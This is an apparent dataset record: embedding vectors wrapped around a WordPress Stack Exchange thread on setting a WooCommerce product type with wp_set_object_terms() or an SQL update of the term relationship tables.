-0.0692138671875,
-0.0024776458740234375,
0.041748046875,
-0.0843505859375,
-0.08807373046875,
-0.0188446044921875,
-0.044921875,
-0.0021114349365234375,
-0.00391387939453125,
-0.015625,
0.004344940185546875,
0.024505615234375,
0.0132904052734375,
0.03515625,
-0.04052734375,
-0.0172576904296875,
-0.06884765625,
-0.08441162109375,
-0.07623291015625,
0.0208892822265625,
0.0010547637939453125,
-0.009552001953125,
0.050689697265625,
-0.01375579833984375,
-0.04901123046875,
-0.031951904296875,
-0.03924560546875,
-0.0034637451171875,
-0.0204620361328125,
-0.020965576171875,
-0.031982421875,
0.051605224609375,
-0.006103515625,
0.068115234375,
0.028045654296875,
-0.00537872314453125,
-0.01171112060546875,
-0.033477783203125,
0.022308349609375,
-0.025665283203125,
0.0200042724609375,
0.05206298828125,
-0.0298309326171875,
-0.0419921875,
-0.05474853515625,
0.03802490234375,
0.0259857177734375,
0.0161895751953125,
0.00016927719116210938,
-0.023193359375,
-0.0396728515625,
0.021942138671875,
-0.0161590576171875,
-0.0121612548828125,
0.00946044921875,
-0.0107269287109375,
-0.02001953125,
-0.044403076171875,
-0.019378662109375,
0.0083160400390625,
0.040435791015625,
0.05230712890625,
-0.0201873779296875,
0.06195068359375,
0.035247802734375,
0.008514404296875,
0.019500732421875,
-0.00922393798828125,
-0.00402069091796875,
-0.08929443359375,
0.03558349609375,
-0.0865478515625,
-0.039703369140625,
-0.027313232421875,
-0.0007967948913574219,
0.04571533203125,
0.111572265625,
-0.0204010009765625,
-0.01381683349609375,
0.009521484375,
-0.000316619873046875,
0.0181121826171875,
0.0174407958984375,
-0.03570556640625,
-0.0189208984375,
-0.046539306640625,
-0.0216827392578125,
-0.0268707275390625,
-0.036773681640625,
-0.0105743408203125,
-0.015472412109375,
-0.0281982421875,
-0.04473876953125,
0.01081085205078125,
0.0389404296875,
0.02410888671875,
-0.0290374755859375,
0.0230865478515625,
-0.03900146484375,
0.024871826171875,
-0.00951385498046875,
-0.08294677734375,
-0.003780364990234375,
-0.037200927734375,
0.0304107666015625,
0.002655029296875,
0.023468017578125,
-0.026611328125,
0.0300445556640625,
-0.047454833984375,
0.025634765625,
-0.0179901123046875,
0.025665283203125,
0.0064544677734375,
-0.00563812255859375,
-0.020263671875,
-0.017852783203125,
-0.0081024169921875,
-0.029388427734375,
-0.0523681640625,
-0.0304107666015625,
-0.0240478515625,
-0.03546142578125,
0.019195556640625,
-0.033905029296875,
-0.041595458984375,
-0.000980377197265625,
-0.0528564453125,
-0.013763427734375,
-0.0248260498046875,
-0.033447265625,
0.00922393798828125,
-0.06878662109375,
0.0007181167602539062,
0.0228729248046875,
-0.0250701904296875,
0.0292816162109375,
0.035308837890625,
0.0221099853515625,
-0.0095062255859375,
-0.09088134765625,
-0.004558563232421875,
0.042694091796875,
-0.0258331298828125,
0.06378173828125,
0.047698974609375,
-0.01383209228515625,
0.0675048828125,
0.01038360595703125,
0.0167236328125,
-0.0831298828125,
0.055694580078125,
-0.00998687744140625,
0.007411956787109375,
0.0174102783203125,
-0.016265869140625,
0.066650390625,
0.0340576171875,
-0.0011138916015625,
-0.0288848876953125,
-0.023681640625,
0.046539306640625,
0.004444122314453125,
-0.007678985595703125,
-0.059844970703125,
-0.036529541015625,
0.0216217041015625,
0.0110931396484375,
0.03302001953125,
0.0153656005859375,
-0.00626373291015625,
0.023101806640625,
-0.01111602783203125,
0.0306243896484375,
-0.017181396484375,
-0.0007915496826171875,
-0.0307464599609375,
0.0140838623046875,
0.044036865234375,
0.01027679443359375,
0.0005679130554199219,
-0.006015777587890625,
0.050689697265625,
-0.01454925537109375,
-0.06658935546875,
-0.0213470458984375,
-0.0294647216796875,
0.0203399658203125,
0.00992584228515625,
-0.0011110305786132812,
0.007305145263671875,
0.0777587890625,
0.0005373954772949219,
0.00047898292541503906,
0.0053253173828125,
0.06256103515625,
-0.0199737548828125,
0.028564453125,
0.014404296875,
-0.02105712890625,
0.0074462890625,
0.0518798828125,
-0.0122528076171875,
0.019989013671875,
-0.0061492919921875,
0.01349639892578125,
0.0026683807373046875,
0.035614013671875,
0.031524658203125,
-0.043792724609375,
0.02166748046875,
-0.0264739990234375,
0.004703521728515625,
-0.025909423828125,
0.0099334716796875,
-0.025665283203125,
0.020660400390625,
0.002857208251953125,
-0.013671875,
0.0628662109375,
-0.020721435546875,
-0.01467132568359375,
0.0291595458984375,
-0.00945281982421875,
-0.06365966796875,
0.0031108856201171875,
0.0198974609375,
-0.017120361328125,
-0.0226287841796875,
0.0007519721984863281,
0.02056884765625,
-0.024017333984375,
0.0086669921875,
-0.0218353271484375,
0.0235137939453125,
-0.039947509765625,
-0.031280517578125,
-0.03973388671875,
-0.018463134765625,
0.005828857421875,
-0.006587982177734375,
-0.034637451171875,
0.0016393661499023438,
-0.0228118896484375,
0.023406982421875,
-0.0236358642578125,
-0.0101776123046875,
-0.02484130859375,
0.0119476318359375,
-0.040924072265625,
-0.00699615478515625,
0.0645751953125,
0.03955078125,
0.01160430908203125,
-0.005939483642578125,
-0.027191162109375,
-0.0220794677734375,
0.009552001953125,
-0.0095367431640625,
-0.0283660888671875,
-0.028594970703125,
0.02642822265625,
0.02288818359375,
-0.00152587890625,
-0.06787109375,
0.027496337890625,
-0.027496337890625,
0.00528717041015625,
-0.02679443359375,
0.0384521484375,
0.052398681640625,
-0.045989990234375,
0.0738525390625,
0.0257568359375,
0.033477783203125,
-0.031036376953125,
-0.032196044921875,
-0.008392333984375,
-0.0186614990234375,
-0.01123046875,
-0.00640869140625,
0.03985595703125,
0.01380157470703125,
0.0012540817260742188,
0.00753021240234375,
-0.007762908935546875,
-0.03741455078125,
0.00014698505401611328,
-0.028533935546875,
0.057403564453125,
-0.046722412109375,
-0.042022705078125,
0.0167694091796875,
-0.0003724098205566406,
0.030303955078125,
-0.0009756088256835938,
-0.048736572265625,
0.045379638671875,
0.0119171142578125,
0.03564453125,
-0.0225982666015625,
-0.043731689453125,
0.058837890625,
-0.019683837890625,
-0.063720703125,
-0.037078857421875,
0.0034961700439453125,
-0.034027099609375,
-0.036346435546875,
0.01541900634765625,
0.0066375732421875,
-0.0189971923828125,
0.01580810546875,
-0.01381683349609375,
-0.035308837890625,
-0.00814056396484375,
-0.03179931640625,
0.039886474609375,
0.043670654296875,
0.05181884765625,
-0.10107421875,
0.03289794921875,
-0.01385498046875,
-0.0096435546875,
0.05841064453125,
-0.00128173828125,
0.00357818603515625,
-0.01210784912109375,
-0.012359619140625,
0.051513671875,
-0.0178375244140625,
-0.011993408203125,
0.028045654296875,
0.00009506940841674805,
0.01104736328125,
0.0308990478515625,
-0.004734039306640625,
-0.032257080078125,
-0.008331298828125,
0.0122222900390625,
0.00826263427734375,
-0.01515960693359375,
0.02178955078125,
-0.00711822509765625,
-0.006103515625,
-0.0301971435546875,
0.021514892578125,
-0.0191802978515625,
0.01209259033203125,
-0.0168914794921875,
0.00902557373046875,
0.0869140625,
0.0270233154296875,
0.0167999267578125,
-0.0167999267578125,
-0.01042938232421875,
0.08355712890625,
-0.003925323486328125,
-0.0545654296875,
-0.005603790283203125,
0.046295166015625,
-0.0187530517578125,
0.025970458984375,
0.021087646484375,
-0.045684814453125,
-0.028656005859375,
0.0213470458984375,
0.09710693359375,
0.0010480880737304688,
-0.048828125,
0.022003173828125,
0.023773193359375,
-0.0232696533203125,
-0.002735137939453125,
0.0162200927734375,
-0.03472900390625,
0.006267547607421875,
-0.0025959014892578125,
-0.0004646778106689453,
-0.006908416748046875,
-0.0095672607421875,
-0.05352783203125,
0.108642578125,
0.03369140625,
-0.006465911865234375,
-0.0060272216796875,
0.0572509765625,
-0.04290771484375,
0.0237579345703125,
0.004619598388671875,
0.055908203125,
0.07452392578125,
-0.0252227783203125,
-0.0428466796875,
-0.052093505859375,
-0.0081024169921875,
0.08795166015625,
-0.0032215118408203125,
0.0057830810546875,
0.00537109375,
-0.005306243896484375,
0.00019598007202148438,
-0.0007982254028320312,
-0.0241546630859375,
0.0235595703125,
0.03173828125,
0.0228118896484375,
0.07177734375,
-0.03326416015625,
0.0224609375,
-0.00713348388671875,
0.03228759765625,
0.049285888671875,
0.001613616943359375,
0.0138397216796875,
-0.0165557861328125,
-0.023590087890625,
0.0265350341796875,
-0.01593017578125,
-0.0251617431640625,
-0.006557464599609375,
0.01001739501953125,
0.0201416015625,
0.034332275390625,
-0.0172576904296875,
0.040283203125,
-0.0242462158203125,
0.04736328125,
0.0188446044921875,
0.040008544921875,
0.060211181640625,
0.021240234375,
0.0574951171875,
-0.037353515625,
0.0185546875,
-0.0380859375,
-0.0019779205322265625,
-0.026275634765625,
-0.026763916015625,
0.0131683349609375,
-0.03131103515625,
-0.0079498291015625,
0.0260162353515625,
-0.0172119140625,
-0.00113677978515625,
-0.049072265625,
0.0178070068359375,
0.03521728515625,
0.0283355712890625,
0.03253173828125,
0.052001953125,
0.031341552734375,
0.066162109375,
-0.06329345703125,
0.0190277099609375,
0.04290771484375,
0.0157623291015625,
-0.0093231201171875,
0.0102386474609375,
-0.02935791015625,
-0.005016326904296875,
-0.0029010772705078125,
-0.0259857177734375,
0.00803375244140625,
0.028594970703125,
0.0217437744140625,
0.0217437744140625,
0.0032787322998046875,
-0.006687164306640625,
-0.0328369140625,
0.047637939453125,
-0.0021228790283203125,
0.050079345703125,
-0.0384521484375,
-0.007465362548828125,
-0.0164642333984375,
0.0305938720703125,
-0.015045166015625,
0.01885986328125,
0.0196533203125,
0.035980224609375,
-0.0002474784851074219,
-0.0225067138671875,
-0.0068511962890625,
-0.0300750732421875,
-0.0021648406982421875,
-0.0728759765625,
0.0589599609375,
0.05670166015625,
0.0311431884765625,
0.0196990966796875,
-0.029449462890625,
0.0924072265625,
-0.017852783203125,
0.031890869140625,
-0.001461029052734375,
-0.02313232421875,
0.007663726806640625,
-0.00820159912109375,
0.052978515625,
0.0149993896484375,
-0.034637451171875,
-0.0187835693359375,
-0.0165863037109375,
-0.0078887939453125,
-0.0010776519775390625,
0.0258941650390625,
0.0020275115966796875,
0.024566650390625,
0.02459716796875,
-0.01172637939453125,
-0.0002129077911376953,
0.0048828125,
0.00848388671875,
0.0038967132568359375,
0.01186370849609375,
0.00988006591796875,
-0.057037353515625,
-0.0478515625,
-0.0111541748046875,
0.04876708984375,
0.02496337890625,
0.0151519775390625,
0.01436614990234375,
0.04058837890625,
0.04266357421875,
-0.0140533447265625,
0.039093017578125,
0.03485107421875,
0.00974273681640625,
0.01470947265625,
0.0089874267578125,
-0.039642333984375,
-0.01300811767578125,
0.006816864013671875,
0.025665283203125,
-0.032012939453125,
0.00774383544921875,
-0.0347900390625,
0.02777099609375,
-0.005924224853515625,
-0.0002493858337402344,
-0.03369140625,
-0.0230255126953125,
-0.01043701171875,
-0.0170135498046875,
0.00820159912109375,
-0.01090240478515625,
0.0208740234375,
0.0164794921875,
0.058746337890625,
-0.0017986297607421875,
0.01428985595703125,
-0.015899658203125,
0.061859130859375,
0.04791259765625,
-0.0015621185302734375,
0.0185089111328125,
0.0278778076171875,
-0.0224761962890625,
0.07275390625,
-0.017669677734375,
0.058807373046875,
0.022796630859375,
-0.033355712890625,
-0.005096435546875,
-0.0036163330078125,
0.017364501953125,
-0.01031494140625,
-0.0004000663757324219,
-0.014068603515625,
-0.00473785400390625,
-0.00891876220703125,
-0.07122802734375,
-0.0313720703125,
-0.058563232421875,
0.0085296630859375,
0.036529541015625,
-0.031707763671875,
-0.0227813720703125,
-0.04974365234375,
-0.00464630126953125,
0.0287322998046875,
-0.01214599609375,
0.01226806640625,
-0.0313720703125,
-0.023193359375,
0.02398681640625,
-0.0012750625610351562,
0.027496337890625,
-0.0110321044921875,
0.01462554931640625,
-0.00823211669921875,
-0.0190887451171875,
0.0031337738037109375,
0.057220458984375,
0.033721923828125,
0.036163330078125,
0.04925537109375,
-0.02935791015625,
-0.01062774658203125,
0.020599365234375,
0.01271820068359375,
0.0760498046875,
-0.00907135009765625,
-0.005229949951171875,
0.0213775634765625,
-0.00965118408203125,
-0.0247344970703125,
-0.0338134765625,
0.026275634765625,
-0.03411865234375,
-0.03125,
-0.06427001953125,
0.021484375,
0.01149749755859375,
-0.0261993408203125,
-0.044891357421875,
0.0211639404296875,
-0.00713348388671875,
-0.01490020751953125,
-0.035308837890625,
0.0186614990234375,
0.02923583984375,
-0.046478271484375,
-0.0182647705078125,
0.01421356201171875,
-0.0297698974609375,
0.003635406494140625,
0.0117034912109375,
0.0299530029296875,
-0.0262908935546875,
0.0172576904296875,
-0.07586669921875,
0.0240020751953125,
0.006683349609375,
0.03216552734375,
0.036468505859375,
-0.03302001953125,
0.04913330078125,
0.0211181640625,
-0.051422119140625,
-0.0268096923828125,
-0.007091522216796875,
-0.0105438232421875,
-0.004058837890625,
-0.0033855438232421875,
-0.0186309814453125,
0.003787994384765625,
0.034454345703125,
0.04644775390625,
0.01031494140625,
-0.0269012451171875,
0.0005426406860351562,
-0.01042938232421875,
0.018524169921875,
-0.033203125,
-0.018524169921875,
-0.02447509765625,
-0.024810791015625,
-0.0374755859375,
0.00664520263671875,
-0.019927978515625,
0.035919189453125,
0.00007015466690063477,
-0.014251708984375,
0.08154296875,
0.0013208389282226562,
-0.047149658203125,
0.0272369384765625,
0.0230712890625,
-0.03082275390625,
-0.01148223876953125,
0.0036144256591796875,
-0.01253509521484375,
-0.0029735565185546875,
0.006816864013671875,
-0.031646728515625,
-0.0196380615234375,
-0.00399017333984375,
0.0230712890625,
-0.020904541015625,
0.0438232421875,
-0.032135009765625,
0.005649566650390625,
0.0229034423828125,
0.0183868408203125,
-0.01427459716796875,
0.017059326171875,
-0.0266876220703125,
0.0236358642578125,
-0.0208892822265625,
0.01154327392578125,
-0.03179931640625,
-0.0274658203125,
-0.0275421142578125,
0.0199737548828125,
-0.05181884765625,
0.025970458984375,
-0.016815185546875,
-0.0187225341796875,
0.006893157958984375,
0.0023212432861328125,
-0.014312744140625,
-0.00804901123046875,
-0.0222015380859375,
0.0226898193359375,
0.0029544830322265625,
-0.005237579345703125
] |
df68ff69e87b3f2bb37384094181f94f094639b8
|
Wordpress Stackexchange
Q: Function to Set Product type in Woocommerce I am trying to add a subscription product with custom function in WooCommerce. I am able to add a simple product along with the post_meta, but unable to set the product_type for that product.
Does anyone know the function for saving product_type in WooCommerce?
A: I figured this out, to set the product_type, instead of using update_post_meta(), you use:
wp_set_object_terms( $productID, 'subscription', 'product_type' );
|
Q: Function to Set Product type in Woocommerce I am trying to add a subscription product with custom function in WooCommerce. I am able to add a simple product along with the post_meta, but unable to set the product_type for that product.
Does anyone know the function for saving product_type in WooCommerce?
A: I figured this out, to set the product_type, instead of using update_post_meta(), you use:
wp_set_object_terms( $productID, 'subscription', 'product_type' );
A: So I had a look in the wp-terms table.
I needed to be able to determine product type from an SQL perspective.
Specifically to distinguish between variable and simple product types.
Then you have to do battle with the wp_term_relationships and wp_term_taxonomy tables to link it all together. This is more a blues clue than a full solution.
I have not written an SQL statement that pulls it all together as yet.
A: Late, but may be useful for new searchs:
Product type is stored in wp_term_relationship. You can find in the table wp_terms the names "simple, grouped, variable, etc", and get their term_id.
Here is a SQL example I used to set all products already set to variable (10) to simple (8):
UPDATE wp_term_relationships
LEFT JOIN wp_posts ON(wp_term_relationships.object_id = wp_posts.ID)
SET wp_term_relationships.term_taxonomy_id = 8
WHERE wp_posts.post_type = 'product'
AND wp_term_relationships.term_taxonomy_id = 10
|
wordpress
|
{
"language": "en",
"length": 216,
"provenance": "stackexchange_00019.jsonl.gz:436126",
"question_score": "3",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111137"
}
|
[
-0.00897216796875,
-0.0231170654296875,
-0.0328369140625,
-0.01116180419921875,
-0.01216888427734375,
-0.01041412353515625,
0.019866943359375,
-0.0023193359375,
-0.0196075439453125,
0.007076263427734375,
0.006458282470703125,
-0.030548095703125,
-0.0196533203125,
-0.037628173828125,
0.0009851455688476562,
-0.051025390625,
0.040496826171875,
-0.0004069805145263672,
0.029052734375,
-0.013275146484375,
-0.003231048583984375,
0.0247344970703125,
0.01922607421875,
0.056304931640625,
0.029754638671875,
0.0030651092529296875,
0.0638427734375,
-0.0292510986328125,
0.032623291015625,
0.003948211669921875,
0.0303955078125,
-0.0274658203125,
0.00965118408203125,
-0.0102996826171875,
0.03399658203125,
0.0487060546875,
0.040252685546875,
-0.0011081695556640625,
0.047576904296875,
0.0004544258117675781,
0.035614013671875,
-0.0153656005859375,
0.001659393310546875,
0.003147125244140625,
-0.0204315185546875,
-0.045074462890625,
0.0252838134765625,
-0.03875732421875,
0.0158233642578125,
-0.016265869140625,
0.012725830078125,
-0.00445556640625,
0.02740478515625,
-0.028045654296875,
-0.032501220703125,
-0.04278564453125,
-0.03314208984375,
0.0322265625,
0.02691650390625,
-0.0001609325408935547,
-0.0200958251953125,
0.000010013580322265625,
0.00525665283203125,
-0.003292083740234375,
0.028045654296875,
0.001190185546875,
-0.010650634765625,
0.040771484375,
-0.08319091796875,
0.00949859619140625,
0.04437255859375,
-0.0648193359375,
0.01299285888671875,
0.025604248046875,
-0.002239227294921875,
-0.06378173828125,
0.0306396484375,
-0.0180206298828125,
0.01239013671875,
0.040069580078125,
0.04461669921875,
-0.012939453125,
0.03143310546875,
-0.03387451171875,
0.0234832763671875,
-0.01416778564453125,
-0.0114593505859375,
-0.004116058349609375,
-0.00405120849609375,
-0.04583740234375,
-0.0100555419921875,
-0.00251007080078125,
-0.047027587890625,
-0.0018787384033203125,
-0.01090240478515625,
-0.0291595458984375,
-0.019989013671875,
-0.0019931793212890625,
0.0015897750854492188,
0.00885009765625,
0.041259765625,
-0.052337646484375,
0.046630859375,
-0.05059814453125,
0.0191802978515625,
0.012451171875,
-0.033599853515625,
-0.030303955078125,
0.047943115234375,
0.03515625,
-0.007648468017578125,
-0.0005040168762207031,
-0.0006871223449707031,
-0.0267791748046875,
-0.0220489501953125,
-0.021453857421875,
-0.058685302734375,
0.0460205078125,
0.021820068359375,
-0.004505157470703125,
0.04144287109375,
0.07989501953125,
0.01605224609375,
-0.0447998046875,
-0.0194244384765625,
-0.0025615692138671875,
-0.01374053955078125,
-0.08599853515625,
0.0010938644409179688,
0.01922607421875,
-0.060821533203125,
-0.0045623779296875,
0.08319091796875,
0.057830810546875,
0.038726806640625,
-0.0167236328125,
0.03326416015625,
-0.007694244384765625,
-0.023284912109375,
0.050445556640625,
0.02020263671875,
-0.022125244140625,
-0.03271484375,
0.0146026611328125,
0.0225372314453125,
0.024017333984375,
0.002582550048828125,
0.016265869140625,
0.0210723876953125,
0.00598907470703125,
-0.00885772705078125,
-0.0168304443359375,
-0.004825592041015625,
0.0273590087890625,
0.01280975341796875,
0.0185089111328125,
0.0261993408203125,
-0.01153564453125,
-0.00653076171875,
-0.0191497802734375,
-0.02777099609375,
-0.0260162353515625,
0.02337646484375,
-0.022796630859375,
-0.052978515625,
0.04638671875,
-0.03631591796875,
-0.015380859375,
0.0135345458984375,
0.054473876953125,
0.0178070068359375,
0.03204345703125,
-0.0103302001953125,
-0.0143585205078125,
-0.0287628173828125,
-0.055389404296875,
-0.0178985595703125,
0.04864501953125,
0.042449951171875,
-0.031097412109375,
-0.0246429443359375,
-0.041229248046875,
0.0758056640625,
-0.0178375244140625,
-0.0162200927734375,
0.029327392578125,
0.0249786376953125,
0.041473388671875,
-0.01126861572265625,
0.01505279541015625,
0.004673004150390625,
0.02587890625,
-0.03875732421875,
-0.0026721954345703125,
0.007659912109375,
-0.0264434814453125,
-0.034942626953125,
-0.036407470703125,
-0.0146484375,
0.034881591796875,
-0.00687408447265625,
-0.00206756591796875,
-0.00493621826171875,
-0.0023593902587890625,
-0.036529541015625,
-0.0088958740234375,
-0.00995635986328125,
0.04022216796875,
-0.0273895263671875,
0.01617431640625,
0.030364990234375,
-0.01727294921875,
-0.006870269775390625,
-0.03668212890625,
0.002819061279296875,
-0.027984619140625,
-0.011016845703125,
0.07415771484375,
0.0032596588134765625,
0.034912109375,
-0.0100250244140625,
-0.03497314453125,
0.01390838623046875,
0.01010894775390625,
0.02618408203125,
0.0350341796875,
-0.022735595703125,
0.01245880126953125,
0.05633544921875,
0.03411865234375,
-0.007396697998046875,
-0.01495361328125,
-0.0086212158203125,
-0.039398193359375,
-0.0168304443359375,
0.037445068359375,
0.035400390625,
-0.05499267578125,
-0.01294708251953125,
0.039093017578125,
0.0347900390625,
0.02532958984375,
0.004795074462890625,
0.01715087890625,
0.08013916015625,
0.056427001953125,
0.04364013671875,
-0.0167999267578125,
0.01123046875,
0.038116455078125,
-0.02239990234375,
0.014495849609375,
0.00435638427734375,
-0.0343017578125,
0.001285552978515625,
0.04718017578125,
-0.0513916015625,
-0.01070404052734375,
0.02569580078125,
0.005153656005859375,
-0.02978515625,
-0.0067291259765625,
0.04571533203125,
-0.0246124267578125,
0.046478271484375,
0.0252532958984375,
0.04229736328125,
0.0274810791015625,
-0.045867919921875,
0.01079559326171875,
0.01323699951171875,
0.00315093994140625,
-0.01018524169921875,
0.036956787109375,
0.06341552734375,
-0.013824462890625,
-0.04522705078125,
-0.002178192138671875,
0.0096588134765625,
0.0247802734375,
0.0084075927734375,
0.053802490234375,
-0.00139617919921875,
-0.0184173583984375,
-0.01373291015625,
-0.0311737060546875,
-0.01116943359375,
0.01311492919921875,
-0.020782470703125,
-0.0303497314453125,
0.0177001953125,
-0.011138916015625,
-0.06597900390625,
0.0305328369140625,
-0.0290374755859375,
-0.036865234375,
0.0191192626953125,
-0.0445556640625,
0.04449462890625,
-0.0372314453125,
0.04736328125,
0.05596923828125,
-0.032745361328125,
0.0277252197265625,
0.010406494140625,
-0.00223541259765625,
0.008514404296875,
0.028533935546875,
-0.00872802734375,
0.014892578125,
-0.09600830078125,
-0.0306396484375,
0.009307861328125,
0.004772186279296875,
0.015899658203125,
-0.007709503173828125,
0.01727294921875,
0.0228729248046875,
-0.01032257080078125,
-0.004863739013671875,
0.0087738037109375,
-0.03387451171875,
-0.019287109375,
-0.03521728515625,
-0.020416259765625,
0.0174560546875,
-0.03106689453125,
-0.007358551025390625,
-0.024749755859375,
0.0017757415771484375,
-0.0149993896484375,
-0.0305938720703125,
-0.018310546875,
-0.00783538818359375,
-0.01224517822265625,
-0.003948211669921875,
0.01428985595703125,
0.01514434814453125,
0.0068359375,
-0.029815673828125,
0.0293426513671875,
0.042510986328125,
-0.0187530517578125,
0.01483154296875,
0.0223236083984375,
-0.06951904296875,
0.01541900634765625,
-0.0204010009765625,
-0.00374603271484375,
0.023590087890625,
-0.007007598876953125,
0.002758026123046875,
-0.01187896728515625,
0.00939178466796875,
0.0195770263671875,
0.025848388671875,
0.0135040283203125,
0.0212860107421875,
0.043426513671875,
-0.0308074951171875,
-0.008941650390625,
0.016632080078125,
-0.00600433349609375,
0.055877685546875,
-0.01448822021484375,
-0.0284271240234375,
0.00464630126953125,
0.06048583984375,
-0.0000890493392944336,
0.015594482421875,
0.055328369140625,
-0.025390625,
-0.015472412109375,
-0.0148773193359375,
-0.025604248046875,
-0.035491943359375,
0.045135498046875,
-0.011810302734375,
0.044830322265625,
0.0390625,
0.0291748046875,
0.0230560302734375,
-0.0181121826171875,
-0.04730224609375,
-0.06927490234375,
0.054290771484375,
-0.062347412109375,
0.02008056640625,
-0.055938720703125,
-0.036468505859375,
-0.0174407958984375,
0.136474609375,
0.0127410888671875,
-0.0201263427734375,
-0.01433563232421875,
0.0145721435546875,
-0.027191162109375,
-0.042724609375,
-0.012451171875,
-0.011688232421875,
0.0147857666015625,
0.0016269683837890625,
-0.0079345703125,
-0.002246856689453125,
0.0060272216796875,
-0.01727294921875,
0.0145416259765625,
-0.018280029296875,
0.04034423828125,
-0.0762939453125,
0.01605224609375,
0.06097412109375,
-0.0218505859375,
0.0244598388671875,
-0.046051025390625,
-0.038970947265625,
-0.035491943359375,
-0.010986328125,
0.0258331298828125,
0.0460205078125,
-0.007511138916015625,
-0.00859832763671875,
-0.015411376953125,
0.041168212890625,
0.03936767578125,
0.0103607177734375,
0.004058837890625,
0.0027713775634765625,
0.0006628036499023438,
-0.055419921875,
-0.00638580322265625,
-0.045745849609375,
-0.019012451171875,
-0.03369140625,
-0.006931304931640625,
0.07489013671875,
0.007556915283203125,
0.061859130859375,
0.01068115234375,
-0.00194549560546875,
-0.0823974609375,
-0.0284881591796875,
0.0018873214721679688,
0.0328369140625,
-0.0050048828125,
0.006011962890625,
-0.03765869140625,
-0.07440185546875,
0.050933837890625,
-0.0088653564453125,
-0.02899169921875,
-0.007965087890625,
0.058441162109375,
0.0215301513671875,
-0.0147552490234375,
0.0179290771484375,
-0.00670623779296875,
0.036224365234375,
0.02020263671875,
-0.01549530029296875,
-0.048858642578125,
-0.03082275390625,
0.03839111328125,
-0.0073394775390625,
0.002887725830078125,
-0.0008511543273925781,
0.033050537109375,
-0.00024306774139404297,
-0.0135955810546875,
0.037841796875,
-0.03765869140625,
0.0209197998046875,
-0.004924774169921875,
-0.0236358642578125,
-0.003925323486328125,
-0.00579833984375,
0.031494140625,
-0.0161590576171875,
0.033660888671875,
-0.024078369140625,
-0.033203125,
0.0219879150390625,
-0.04229736328125,
-0.0008873939514160156,
0.024932861328125,
-0.0167694091796875,
-0.004974365234375,
-0.036865234375,
0.003631591796875,
-0.01038360595703125,
-0.00667572021484375,
0.0011167526245117188,
0.0023174285888671875,
0.036956787109375,
0.01459503173828125,
-0.02630615234375,
0.00984954833984375,
-0.003513336181640625,
-0.000293731689453125,
-0.03173828125,
-0.027313232421875,
0.0026264190673828125,
0.01654052734375,
0.006328582763671875,
-0.0318603515625,
0.042510986328125,
0.047607421875,
-0.0224761962890625,
-0.01143646240234375,
-0.0828857421875,
0.044769287109375,
-0.077880859375,
0.01438140869140625,
0.017730712890625,
-0.004016876220703125,
0.0143280029296875,
0.0762939453125,
0.01107025146484375,
0.04583740234375,
-0.0140228271484375,
0.033447265625,
0.038818359375,
0.031280517578125,
0.03631591796875,
-0.0243072509765625,
-0.022735595703125,
-0.00879669189453125,
-0.028045654296875,
-0.004848480224609375,
-0.0101470947265625,
-0.02392578125,
-0.004749298095703125,
-0.037322998046875,
0.0014743804931640625,
0.053009033203125,
0.005603790283203125,
0.006252288818359375,
-0.046112060546875,
-0.048919677734375,
0.004024505615234375,
0.005977630615234375,
-0.007335662841796875,
0.005344390869140625,
-0.0014085769653320312,
0.0012979507446289062,
-0.02252197265625,
-0.0263824462890625,
-0.0202178955078125,
0.00014197826385498047,
-0.0185546875,
-0.0251922607421875,
-0.0046234130859375,
-0.05694580078125,
-0.021331787109375,
0.0219268798828125,
-0.059234619140625,
-0.0160675048828125,
-0.013916015625,
-0.0260772705078125,
0.036376953125,
-0.0196533203125,
0.040802001953125,
-0.0297393798828125,
-0.01102447509765625,
-0.0256195068359375,
0.0034389495849609375,
0.035919189453125,
0.016815185546875,
-0.0030956268310546875,
-0.0280303955078125,
-0.01464080810546875,
-0.02764892578125,
-0.036773681640625,
-0.01739501953125,
-0.0262603759765625,
0.0174102783203125,
0.0147857666015625,
0.05255126953125,
-0.05419921875,
-0.072265625,
0.0128936767578125,
-0.0261383056640625,
0.003734588623046875,
0.0289154052734375,
0.00560760498046875,
0.0185089111328125,
0.00569915771484375,
0.043914794921875,
0.0076904296875,
-0.0260009765625,
-0.049560546875,
-0.005138397216796875,
-0.025665283203125,
-0.0189971923828125,
0.0017108917236328125,
-0.0154876708984375,
-0.001308441162109375,
0.0419921875,
0.0858154296875,
0.002056121826171875,
0.004817962646484375,
-0.03460693359375,
-0.008758544921875,
-0.045806884765625,
0.044036865234375,
-0.03717041015625,
0.0034427642822265625,
-0.0185546875,
-0.054168701171875,
0.0056304931640625,
0.027740478515625,
0.03759765625,
0.0189208984375,
-0.0513916015625,
0.0262908935546875,
0.0171661376953125,
-0.0423583984375,
0.017913818359375,
0.019287109375,
0.00543975830078125,
0.039703369140625,
-0.03338623046875,
0.00911712646484375,
0.039947509765625,
0.02093505859375,
-0.055450439453125,
-0.0141754150390625,
0.016204833984375,
0.0016965866088867188,
-0.029571533203125,
0.00009715557098388672,
-0.019622802734375,
0.0172119140625,
0.0748291015625,
0.08697509765625,
-0.12744140625,
0.016571044921875,
0.04083251953125,
0.0207672119140625,
0.052642822265625,
0.018310546875,
-0.016021728515625,
-0.0146026611328125,
-0.0005993843078613281,
-0.017364501953125,
-0.01465606689453125,
0.0093994140625,
0.0117645263671875,
0.0133056640625,
-0.004261016845703125,
0.004852294921875,
-0.0015659332275390625,
0.0256195068359375,
-0.052764892578125,
0.005584716796875,
-0.0167999267578125,
-0.00508880615234375,
0.026947021484375,
-0.007354736328125,
0.0002899169921875,
-0.03289794921875,
0.043975830078125,
-0.01190948486328125,
0.01427459716796875,
0.0296630859375,
0.0037555694580078125,
0.04803466796875,
0.03594970703125,
0.01499176025390625,
-0.004535675048828125,
-0.001026153564453125,
0.001071929931640625,
-0.055450439453125,
-0.0178680419921875,
0.0206756591796875,
0.0282135009765625,
-0.0986328125,
0.0186767578125,
-0.07647705078125,
0.014556884765625,
-0.006671905517578125,
0.0062408447265625,
0.03643798828125,
-0.0111236572265625,
-0.01593017578125,
0.042144775390625,
0.034759521484375,
-0.0096282958984375,
-0.0033054351806640625,
0.0109100341796875,
-0.030609130859375,
0.0143585205078125,
-0.0014886856079101562,
0.006786346435546875,
-0.0123291015625,
0.003612518310546875,
-0.09039306640625,
0.0562744140625,
-0.0189971923828125,
0.027008056640625,
-0.00279998779296875,
0.00605010986328125,
-0.0092010498046875,
-0.016571044921875,
-0.0191497802734375,
0.007442474365234375,
0.00281524658203125,
0.0263519287109375,
-0.031646728515625,
-0.017333984375,
-0.0083770751953125,
0.03424072265625,
0.058349609375,
0.026214599609375,
-0.0478515625,
